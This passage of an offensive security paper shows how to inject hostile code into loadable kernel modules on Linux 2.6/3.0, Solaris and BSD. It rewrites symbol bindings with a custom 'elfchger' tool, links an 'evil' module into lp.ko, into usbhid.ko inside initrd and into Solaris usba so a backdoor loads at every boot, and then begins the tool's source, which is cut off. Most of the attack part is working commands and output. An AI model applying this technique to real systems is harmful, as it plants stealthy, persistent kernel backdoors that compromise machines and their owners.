FILE LOCAL DEFAULT ABS orig.mod.c 16: 00000020 35 OBJECT LOCAL DEFAULT 5 __mod_srcversion31 17: 00000043 9 OBJECT LOCAL DEFAULT 5 __module_depends 18: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions 19: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5 20: 00000020 27 FUNC GLOBAL DEFAULT 2 init <----- 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module 22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module 23: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module 24: 00000000 0 NOTYPE GLOBAL DEFAULT UND mcount 25: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk This task is accomplished by the "ReorderSymbols()" function. 2. Updating the information about the init symbol (i.e. its offset, index, etc..) according to its new position inside the .symtab section. 3. Changing the symbol binding from local to global by modifying the st_info field using the ELF32_ST_INFO macro: #define ELF32_ST_INFO(b, t) (((<<4)+((t)&0xf)) Where 'b' is the symbol binding and 't' the symbol type. The binding values are: Name Value ==== ===== STB_LOCAL 0 STB_GLOBAL 1 STB_WEAK 2 STB_LOPROC 13 STB_HIPROC 15 Obviously, STB_GLOBAL has to be used for our purpose. The type values are: Name Value ==== ===== STT_NOTYPE 0 STT_OBJECT 1 STT_FUNC 2 STT_SECTION 3 STT_FILE 4 STT_LOPROC 13 STT_HIPROC 15 The STT_FUNC is the type value to specify functions. So, the resulting macro will be: ELF32_ST_INFO(STB_GLOBAL, STT_FUNC); The init st_info field should then be set equal to the macro's result. 4. Updating the symtab section header, defined as: typedef struct { Elf32_Word sh_name; Elf32_Word sh_type; Elf32_Word sh_flags; Elf32_Addr sh_addr; Elf32_Off sh_offset; Elf32_Word sh_size; Elf32_Word sh_link; Elf32_Word sh_info; Elf32_Word sh_addralign; Elf32_Word sh_entsize; } Elf32_Shdr; The header can be output by the 'readelf -e' command: $ readelf -e orig.ko ELF Header: ... Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [15] .shstrtab STRTAB 00000000 00040c 0000ae 00 0 0 1 [16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 21 4 [17] .strtab STRTAB 00000000 00097c 0000a5 00 0 0 1 The value of the information (sh_info) field (reported as 'Inf') depends on the section header type (sh_type): sh_type sh_link sh_info ======= ======= ======= SHT_DYNAMIC The section header index of 0 the string table used by entries in the section. SHT_HASH The section header index of 0 the symbol table to which the hash table applies. SHT_REL, The section header index of The section header index of SHT_RELA the associated symbol table. the section to which the relocation applies. SHT_SYMTAB, The section header index of One greater than the symbol SHT_DYNSYM the associated string table. table index of the last local symbol (binding STB_LOCAL). other SHN_UNDEF 0 The sh_info must be updated according to the rules of the SHT_SYMTAB type. In our example, its value will be 20 = 19 + 1 (remember that our symbol will be placed after the "__mod_vermagic5" symbol, whose entry number is 19). This is the reason why reorder the symbol list (step 1) is a necessary step. All these tasks are accomplished by the tool I wrote by using this option: ./elfchger -g [symbol] <module_name> Where [symbol] is the symbol name which binding value has to be modified. ---[ 4.1.3 Try again At this point we can try another test, in which the developed tool will be used. The two modules (orig.c and evil.c) and the Makefile remain the same. The first step is to change the init binding from 'local' to 'global'. The outcome of the elfchger script can be checked by looking at the readelf's output before and after its use. Before running the script readelf outputs: $ readelf -a orig.ko ... Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 21 4 ... Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name ... 10: 00000000 0 SECTION LOCAL DEFAULT 13 11: 00000000 0 SECTION LOCAL DEFAULT 14 12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c 13: 00000000 25 FUNC LOCAL DEFAULT 2 clean 14: 00000020 27 FUNC LOCAL DEFAULT 2 init ... 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module 22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module ... Let's run the script on the orig.ko file: $ ./elfchger -g init orig.ko [+] Opening orig.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x73c [+] Finding ".strtab" section... >> Found at 0x764 [+] Getting symbol' infos: >> Symbol found at 0x8bc >> Index in symbol table: 0xe [+] Reordering symbols: >> Starting: >> Moving symbol from f to e >> Moving symbol from 10 to f >> Moving symbol from 11 to 10 >> Moving symbol from 12 to 11 >> Moving symbol from 13 to 12 >> Moving symbol from 14 to 13 >> Moving our symbol from 14 to 14 >> Last LOCAL symbol: 0x14 >> Done! [+] Updating symbol' infos: >> Symbol found at 0x91c >> Index in symbol table: 0x14 >> Replacing flag 'LOCAL' located at 0x928 with 'GLOBAL' [+] Updating symtab infos at 0x73c Let's see what happened: $ readelf -a orig.ko ... Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 20 4 [17] .strtab STRTAB 00000000 00097c 0000a5 00 0 0 1 ... Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name ... 18: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions 19: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5 20: 00000020 27 FUNC GLOBAL DEFAULT 2 init 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module ... So as expected: - the position of init is changed from 14 to 20 in the symbol table; - the 'Inf' field in the .symtab header has changed: its current value is 20 (19 (last index local symbol) + 1); - the binding of init has changed from local to global. Now we can link together orig.ko and evil.ko: $ ld -r orig.ko evil.ko -o new.ko $ objdump -t new.ko ... 00000040 g F .text 00000020 evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init We can notice that the init symbol is no more *UND*. The final step is to modify the value of init_module: $ ./elfchger -s init_module -v 00000040 new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x954 [+] Finding ".strtab" section... >> Found at 0x97c [+] Getting symbol' infos: >> Symbol found at 0xbfc >> Index in symbol table: 0x1e [+] Replacing 0x00000020 with 0x00000040... done! Let's try to load module: $ mv new.ko orig.ko $ sudo insmod orig.ko $ dmesg|tail ... [ 2385.342838] Init Original! [ 2385.342845] Init Inject! Cool!! It works! ---[ 4.2 Static __init init functions In the previous section it was demonstrated how to inject modules when the init function is declared as static. However in some cases the startup function in the kernel modules is defined with the __init macro: static int __init function_name(); The __init macro is used to describe the function as only being required during initialisation time. Once initialisation has been performed, the kernel will remove this function and release the corresponding memory. The __init macro is defined in "include/linux/init.h": /*************************************************************************/ #define __init __section(.init.text) __cold notrace /*************************************************************************/ The __section macro is defined in "include/linux/compiler.h": /*************************************************************************/ #define __section(S) __attribute__ ((__section__(#S))) /*************************************************************************/ While __cold macro is defined in "/include/linux/compiler-gcc*.h": /*************************************************************************/ #define __cold __attribute__((__cold__)) /*************************************************************************/ When the __init macro is used, a number of GCC attributes are added to the function declaration. The __cold attribute informs the compiler to optimize it for size instead of speed, because it'll be rarely used. The __section attribute informs the compiler to put the text for this function in a new section named ".init.text" [5]. How these __init functions are called can be checked in "kernel/module.c": /*************************************************************************/ static void __init do_initcalls(void) { initcall_t *fn; for (fn = __early_initcall_end; fn < __initcall_end; fn++) do_one_initcall(*fn); /* Make sure there is no pending stuff from the initcall sequence */ flush_scheduled_work(); } /*************************************************************************/ For each step of the loop inside the do_initcalls() function, an __init function set up by the module_init macro is executed. The injection will work even if the function is declared with __init. The module orig is as follows: /******************************** orig.c *********************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); static int __init init(void) { printk(KERN_ALERT "Init Original!"); return 0; } static void clean(void) { printk(KERN_ALERT "Exit Original!"); return; } module_init(init); module_exit(clean); /******************************** EOF ************************************/ After the compilation and as expected, a new .init.text section has appeared: $ objdump -t orig.ko ... 00000000 l F .init.text 00000016 init 00000000 l O .modinfo 0000000c __mod_license6 00000000 l df *ABS* 00000000 orig.mod.c 00000020 l O .modinfo 00000023 __mod_srcversion31 00000043 l O .modinfo 00000009 __module_depends 00000000 l O __versions 000000c0 ____versions 00000060 l O .modinfo 0000003b __mod_vermagic5 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000000 g F .init.text 00000016 init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk Both init and init_module symbols are part of the .init.text section. This new issue can be solved by defining the evil() function as __init: /******************************** evil.c *********************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); extern int __init init(); int __init evil(void) { init(); printk(KERN_ALERT "Init Inject!"); /* does something */ return 0; } /******************************** EOF ************************************/ Both init() and evil() are prefixed with __init because we need them in the same section. The same steps described in section 4.1.3 are then performed: 1 - Change the init binding: $ ./elfchger -g init orig.ko [+] Opening orig.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x77c [+] Finding ".strtab" section... >> Found at 0x7a4 [+] Getting symbol' infos: >> Symbol found at 0x8fc >> Index in symbol table: 0xf [+] Reordering symbols: >> Starting: >> Moving symbol from 10 to f >> Moving symbol from 11 to 10 >> Moving symbol from 12 to 11 >> Moving symbol from 13 to 12 >> Moving symbol from 14 to 13 >> Moving symbol from 15 to 14 >> Moving our symbol from 15 to 15 >> Last LOCAL symbol: 0x15 >> Done! [+] Updating symbol' infos: [>> Symbol found at 0x95c >> Index in symbol table: 0x15 >> Replacing flag 'LOCAL' located at 0x968 with 'GLOBAL' [+] Updating symtab infos at 0x77c 2 - Link the modules together: $ ld -r orig.ko evil.ko -o new.ko $ objdump -t new.ko ... 00000016 g F .init.text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000000 g F .init.text 00000016 init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000000 g F .init.text 00000016 init 3 - Change init_module address: $ ./elfchger -s init_module -v 00000016 new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x954 [+] Finding ".strtab" section... >> Found at 0x97c [+] Getting symbol' infos: >> Symbol found at 0xbec >> Index in symbol table: 0x1f [+] Replacing 0x00000000 with 0x00000016... done! $ objdump -t new.ko ... 00000016 g F .init.text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000016 g F .init.text 00000016 init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000000 g F .init.text 00000016 init 4 - Load the module in memory: $ mv new.ko orig.ko $ sudo insmod orig.ko $ dmesg|tail ... [ 323.085545] Init Original! [ 323.085553] Init Inject! As expected, it works! ---[ 4.3 - What about cleanup_module These methods work fine with the cleanup_module symbol which is called by the kernel when the module is unloaded. Never forget to deal with the termination function as well because if you don't and if the infected module was removed for some reason then your kernel would most likely crash (because there would now be invalid references to the module). The module exit function can be injected simply by altering the symbol whose name is specified in elfchger: $ ./elfchger -s cleanup_module -v address_evil_fn new.ko In this way, when the module is unloaded, the evil() function will be invoked instead of the clean() one. You may also need to deal with binding issues and __exit attribute but the adaptation of the previous method is straightforward. ---[ 5 - Real life example This chapter will show the usage of the present method in a real life example. Let's suppose that evil.ko is a working backdoor. We want to inject it into a kernel module not used by any other kernel module. This test was done on Ubuntu 11.10 (x86) with a 3.0.0 kernel. $ uname -a Linux ubuntu 3.0.0-15-generic #26-Ubuntu SMP Fri Jan 20 15:59:53 UTC 2012 i686 i686 i386 GNU/Linux Let's begin by checking which modules to infect by using the lsmod command: $ lsmod Module Size Used by serio_raw 4022 0 lp 7342 0 snd_seq_midi 4588 0 usbhid 36882 0 binfmt_misc 6599 1 agpgart 32011 1 drm snd_intel8x0 25632 2 ... libahci 21667 3 ahci The command output shows that some of the modules are not used by any other module. These modules can be unloaded safely and then they can be infected with our backdoor using the method presented above. This chapter is divided into two sections in which I'll describe two techniques to load the module when the operating system is booted: 1 - Infect a kernel module (or simply add a new one) on /etc/modprobe.preload (Fedora, etc.) or in /etc/modules on Debian/Ubuntu. 2 - Backdoor initrd. ---[ 5.1 - Infecting a kernel module in /etc/modules First of all, we have to know which modules are in the /etc/modules file: $ cat /etc/modules # /etc/modules: kernel modules to load at boot time. ... lp As described in the previous section, this module (lp.ko) can be unloaded safely and then infected with our backdoor. $ find / -name lp.ko ... /lib/modules/3.0.0-15-generic/kernel/drivers/char/lp.ko ... $ cd /lib/modules/3.0.0-15-generic/kernel/drivers/char Next, we check which function is called by the init_module: $ objdump -t lp.ko |grep -e ".init.text" 00000000 l F .init.text 00000175 lp_init 00000175 l F .init.text 000000ae lp_init_module 00000000 l d .init.text 00000000 .init.text 00000175 g F .init.text 000000ae init_module We want to infect the lp_init_module() function, so the evil module will be coded in the following way: /****************** evil.c ***********************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); extern int __init lp_init_module(); int __init evil(void) { printk(KERN_ALERT "Init Inject! Lp"); lp_init_module(); /* does something */ return 0; } /****************** EOF **************************************************/ Since the lp_init_module function is static we need to change its binding type to global. $ ./elfchger -g lp_init_module lp.ko [+] Opening lp.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x28a0 [+] Finding ".strtab" section... >> Found at 0x28c8 [+] Getting symbol' infos: >> Symbol found at 0x2b30 >> Index in symbol table: 0x24 [+] Reordering symbols: >> Starting: >> Moving symbol from 25 to 24 >> Moving symbol from 26 to 25 >> Moving symbol from 27 to 26 >> Moving symbol from 28 to 27 >> Moving symbol from 29 to 28 >> Moving symbol from 2a to 29 >> Moving symbol from 2b to 2a >> Moving symbol from 2c to 2b >> Moving symbol from 2d to 2c >> Moving symbol from 2e to 2d >> Moving symbol from 2f to 2e >> Moving symbol from 30 to 2f >> Moving symbol from 31 to 30 >> Moving symbol from 32 to 31 >> Moving symbol from 33 to 32 >> Moving symbol from 34 to 33 >> Moving symbol from 35 to 34 >> Moving symbol from 36 to 35 >> Moving symbol from 37 to 36 >> Moving symbol from 38 to 37 >> Moving symbol from 39 to 38 >> Moving symbol from 3a to 39 >> Moving symbol from 3b to 3a >> Moving symbol from 3c to 3b >> Moving symbol from 3d to 3c >> Moving our symbol from 36 to 3d >> Last LOCAL symbol: 0x3d >> Done! [+] Updating symbol' infos: >> Symbol found at 0x2cc0 >> Index in symbol table: 0x3d >> Replacing flag 'LOCAL' located at 0x2ccc with 'GLOBAL' [+] Updating symtab infos at 0x28a0 The two modules can be now linked together: $ ld -r lp.ko evil.ko -o new.ko $ objdump -t new.ko |grep -e init_module -e evil 00000000 l df *ABS* 00000000 evil.c 00000000 l df *ABS* 00000000 evil.mod.c 00000223 g F .init.text 00000019 evil 00000175 g F .init.text 000000ae lp_init_module 00000175 g F .init.text 000000ae init_module Now the relative address of init_module has to be changed to 0000021a: $ ./elfchger -s init_module -v 00000223 new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x2a34 [+] Finding ".strtab" section... >> Found at 0x2a5c [+] Getting symbol' infos: >> Symbol found at 0x39a4 >> Index in symbol table: 0x52 [+] Replacing 0x00000175 with 0x00000223... done! The new.ko module must be renamed to lp.ko and then loaded: $ mv new.ko lp.ko $ sudo rmmod lp $ sudo insmod lp.ko $ dmesg|tail ... $ dmesg .... [ 1033.418723] Init Inject! Lp [ 1033.431131] lp0: using parport0 (interrupt-driven). From now on, every time the system is booted, the infected lp kernel module will be loaded instead of the original one. ---[ 5.2 - Backdooring initrd It is also possible to backdoor a module in the initrd image. The target module has to be extracted out of the image, backdoored and then reinserted back. The target module used throughout this example will be usbhid.ko. In order to inject a kernel module into the initrd image, we'll follow the guide in [9], which explains how to add a new module inside the initrd image. According to [9], the initrd image can be copied from /boot to a target directory (e.g. /tmp) so we can easily work on it: $ cp /boot/initrd.img-2.6.35-22-generic /tmp/ $ cd /tmp The image can be now decompressed using the gzip tool: $ mv initrd.img-2.6.35-22-generic initrd.img-2.6.35-22-generic.gz $ gzip -d initrd.img-2.6.35-22-generic.gz $ mkdir initrd $ cd initrd/ $ cpio -i -d -H newc -F ../initrd.img-2.6.35-22-generic \ --no-absolute-filenames 50522 blocks The location of the usbhid.ko module has then to be found inside the kernel tree: $ find ./ -name usbhid ./lib/modules/2.6.35-22-generic/kernel/drivers/hid/usbhid $ cd lib/modules/2.6.35-22-generic/kernel/drivers/hid/usbhid At this point it can be easily infected with our evil module: $ objdump -t usbhid.ko |grep -e ".init.text" 00000000 l F .init.text 000000c3 hid_init 00000000 l d .init.text 00000000 .init.text 00000000 g F .init.text 000000c3 init_module 000000c3 g F .init.text 00000019 hiddev_init Since we want to infect the hid_init() function, the evil module will be coded in the following way: /****************** evil.c ***********************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); extern int __init hid_init(); int __init evil(void) { hid_init(); printk(KERN_ALERT "Init Inject! Usbhid"); /* does something */ return 0; } /****************** EOF **************************************************/ $ ./elfchger -g hid_init usbhid.ko [+] Opening usbhid.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0xa24c [+] Finding ".strtab" section... >> Found at 0xa274 [+] Getting symbol' infos: >> Symbol found at 0xa4dc >> Index in symbol table: 0x24 [+] Reordering symbols: >> Starting: >> Moving symbol from 25 to 24 ... >> Moving symbol from a6 to a5 >> Moving our symbol from 36 to a6 >> Last LOCAL symbol: 0xa6 >> Done! [+] Updating symbol' infos: >> Symbol found at 0xacfc >> Index in symbol table: 0xa6 >> Replacing flag 'LOCAL' located at 0xad08 with 'GLOBAL' [+] Updating symtab infos at 0xa24c $ ld -r usbhid.ko evil.ko -o new.ko $ objdump -t new.ko | grep -e init_module -e evil 00000000 l df *ABS* 00000000 evil.c 00000000 l df *ABS* 00000000 evil.mod.c 000000dc g F .init.text 0000001b evil 00000000 g F .init.text 000000c3 init_module $ ./elf -s init_module -v 000000dc new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0xa424 [+] Finding ".strtab" section... >> Found at 0xa44c [+] Getting symbol' infos: >> Symbol found at 0xd2dc >> Index in symbol table: 0xd5 [+] Replacing 0x00000000 with 0x000000dc... done! $ mv new.ko usbhid.ko Once the target module has been infected with the evil one, we must recreate the initrd image: $ cd /tmp/initrd/ $ find . | cpio -o -H newc | gzip > /tmp/initrd.img-2.6.35-22-generic 50522 blocks $ cp ../initrd.img-2.6.35-22-generic /boot/ From now on, every time the system is booted, the infected usbhid kernel module will be loaded instead of the original one. ---[ 6 - What about other systems? In this last chapter we will see how the presented infection method can applied to other operating systems, specifically Solaris, FreeBSD, NetBSD and OpenBSD. It will be shown that, even if the method is different from that used on Linux, infection is still possible. ---[ 6.1 - Solaris On Solaris systems infecting a kernel module is simpler than on Linux ones. Changing the symbol's name in the .strtab ELF section is sufficient, similarly to truff's original method for the Linux kernel 2.4.* versions. The method has been tested on Solaris 10: # uname -a SunOS unknown 5.10 Generic_142910-17 i86pc i386 i86pc ---[ 6.1.1 - A basic example The orig.c and evil.c source codes are as follows: /******************************** orig.c *********************************/ #include <sys/ddi.h> #include <sys/sunddi.h> #include <sys/modctl.h> extern struct mod_ops mod_miscops; static struct modlmisc modlmisc = { &mod_miscops, "original", }; static struct modlinkage modlinkage = { MODREV_1, (void *) &modlmisc, NULL }; int _init(void) { int i; if ((i = mod_install(&modlinkage)) != 0) cmn_err(CE_NOTE, "Can't load module!\n"); else cmn_err(CE_NOTE, "Init Original!"); return i; } int _info(struct modinfo *modinfop) { return (mod_info(&modlinkage, modinfop)); } int _fini(void) { int i; if ((i = mod_remove(&modlinkage)) != 0) cmn_err(CE_NOTE, "Can't remove module!\n"); else cmn_err(CE_NOTE, "Exit Original!"); return i; } /******************************** EOF ************************************/ /******************************** evil.c *********************************/ #include <sys/ddi.h> #include <sys/sunddi.h> #include <sys/modctl.h> extern int _evil(void); int _init(void) { cmn_err(CE_NOTE, "Inject!"); _evil(); return 0; } /******************************** EOF ************************************/ The _init function is called at module initialisation, while the _fini one is called at module cleanup. The _info function prints information about the module when the "modinfo" command is invoked. The two modules can be compiled using the following commands: # /usr/sfw/bin/gcc -g -D_KERNEL -DSVR4 -DSOL2 -DDEBUG -O2 -c orig.c # /usr/sfw/bin/gcc -g -D_KERNEL -DSVR4 -DSOL2 -DDEBUG -O2 -c evil.c Let's have a look at the orig.o ELF file by using the "elfdump" command: # /usr/ccs/bin/elfdump -s orig.o Symbol Table Section: .symtab index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c [2] 0x00000000 0x00000000 SECT LOCL D 0 .text ... [16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _init [18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err [20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove The _evil() function must be called instead of _init when the module is loaded. To achieve this, the following steps have to be performed: - Change the _init symbol name to _evil in orig.o; - Link the two modules together; This way, the kernel will load the _init() function defined in evil.c which in turn will call the _evil() function (the old _init()) in order to maintain the correct behaviour of the orig module. It is possible to change a symbol name using the 'objcopy' tool. In fact the '--redefine-sym' option can be used to give an arbitrary name to the specified symbol: # /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil orig.o # /usr/ccs/bin/elfdump -s orig.o Symbol Table Section: .symtab index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c [2] 0x00000000 0x00000000 SECT LOCL D 0 .text ... [16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil [18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err [20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove By checking with "elfdump" it is possible to verify if the script properly performed its job: # /usr/ccs/bin/elfdump -s orig.o Symbol Table Section: .symtab index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c [2] 0x00000000 0x00000000 SECT LOCL D 0 .text ... [16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil [18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err [20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove The _init symbol name has been modified to _evil. The modules are then linked together using the "ld" command: # ld -r orig.o evil.o -o new.o The new.o elf file dump follows: # /usr/ccs/bin/elfdump -s new.o Symbol Table Section: .symtab index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS new.o [2] 0x00000000 0x00000000 SECT LOCL D 0 .text ... [27] 0x00000000 0x00000000 FILE LOCL D 0 ABS evil.c [28] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [29] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil [30] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [31] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [32] 0x000000b8 0x0000001e FUNC GLOB D 0 .text _init [33] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [34] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [35] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove [36] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err To summarize, the _init symbol is referring to the function defined in evil.c, while the _evil symbol is referring to the old _init defined in orig.c that we have just renamed to _evil. Now, the last step is to rename the new.o into orig.o and to load it: # mv new.o orig.o # modload orig.o # tail /var/adm/messages ... May ... orig.o: [ID 343233 kern.notice] NOTICE: Inject! May ... orig.o: [ID 662037 kern.notice] NOTICE: Init Original! As you can see the module is successfully infected. # modinfo | grep orig.o 247 fa9e6eac 160 - 1 orig.o (original) # modunload -i 247 ---[ 6.1.2 - Playing with OS modules This section will explain how to infect a system kernel module. The method remains the same but it will be necessary to make minor changes to the evil module in order to correctly load it to memory. The evil module will be injected into the audio driver. First of all, the module has to be unloaded: # modinfo | grep lx_audio 216 f99e40e0 2614 242 1 lx_audio (linux audio driver 'lx_audio' 1) # modunload -i 216 Now, it is possible to play with it: # /usr/ccs/bin/elfdump -s lx_audio|grep _init [64] 0x000020c2 0x00000011 FUNC GLOB D 0 .text _init [118] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF mutex_init # /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil lx_audio # ld -r evil.o lx_audio -o new # /usr/ccs/bin/elfdump -s new|grep _evil [77] 0x000020de 0x00000011 FUNC GLOB D 0 .text _evil # mv new lx_audio # modload lx_audio # tail /var/adm/messages ... Dec 29 17:00:19 spaccio lx_audio: ... NOTICE: Inject! Great, it works! ---[ 6.1.3 - Keeping it stealthy According to the /etc/system file, the kernel modules that are loaded at boot time are located in the /kernel and /usr/kernel directories. The platform-dependent modules reside in the /platform directory. In this example I'll infect the usb kernel module: usba. First of all the kernel module's position in the filesystem must be located: # find /kernel -name usba /kernel/misc/amd64/usba /kernel/misc/usba /kernel/kmdb/amd64/usba /kernel/kmdb/usba # cd /kernel/misc/usba # /usr/ccs/bin/elfdump -s usba|grep _init ... [291] 0x00017354 0x0000004c FUNC LOCL D 0 .text ugen_ds_init [307] 0x00017937 0x000000e3 FUNC LOCL D 0 .text ugen_pm_init [347] 0x00000fd4 0x00000074 FUNC GLOB D 0 .text _init .... [655] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF rw_init [692] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF cv_init Now it is possible to change the _init symbol name to _evil. # /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil usba # /usr/ccs/bin/elfdump -s usba|grep _evil [348] 0x00000fd4 0x00000074 FUNC GLOB D 0 .text _evil # ld -r evil.o usba -o new Now we have only to rename the module to its original name: # mv new usba From now on, every time the system is booted, the infected usba kernel module will be loaded instead of the original one. ---[ 6.2 - *BSD ---[ 6.2.1 - FreeBSD - NetBSD - OpenBSD The conclusions made by truff are still valid in the newest versions of these operating systems. On FreeBSD, kernel modules are shared objects, so the proposed method doesn't work because the kernel modules can't be partially linked. On NetBSD and OpenBSD what we have to do is simply to change the entry point of the kernel module when it is loaded. So our function will be invoked instead the original one. ---[ 7 - Conclusions In this paper a new module injection method was introduced to be used with Linux kernel 2.6.x/3.0.x series. Several methods, from simple to more sophisticated were presented to inject external code into kernel modules. It was also explained how the method (with some changes) can be successfully applied to a wide range of operating systems. I hope you'll have fun with it and that you enjoyed this paper! Bye. ---[ 8 - References [1] Infecting loadable kernel modules http://www.phrack.com/issues.html?issue=61&id=10#article [2] EXECUTABLE AND LINKABLE FORMAT (ELF) http://www.muppetlabs.com/~breadbox/software/ELF.txt [3] Init Call Mechanism in the Linux Kernel http://linuxgazette.net/157/amurray.html [4] Understanding the Linux Kernel, 3rd Edition [5] Init Call Mechanism in the Linux Kernel http://linuxgazette.net/157/amurray.html [6] OpenBSD Loadable Kernel Modules http://www.thc.org/root/docs/loadable_kernel_modules/openbsd-lkm.html [7] Introduction to NetBSD loadable kernel modules http://www.home.unix-ag.org/bmeurer/NetBSD/howto-lkm.html [8] Solaris Loadable Kernel Modules http://www.thc.org/papers/slkm-1.0.html [9] Initrd, modules, and tools http://www.dark.ca/2009/06/10/initrd-modules-and-tools/ ---[ 9 - Codes ---[ 9.1 - Elfchger /* * elfchger.c by styx^ <the.styx@gmail.com> (based on truff's code) * * Script with two features: * * Usage 1: Change the symbol name value (address) in a kernel module. * Usage 2: Change the symbol binding (from local to global) in a kernel * module. * * Usage: * 1: ./elfchger -f [symbol] -v [value] <module_name> * 2: ./elfchger -g [symbol] <module_name> */ #include <stdlib.h> #include <stdio.h> #include <elf.h> #include <string.h> #include <getopt.h> int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr); int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len); Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym); void 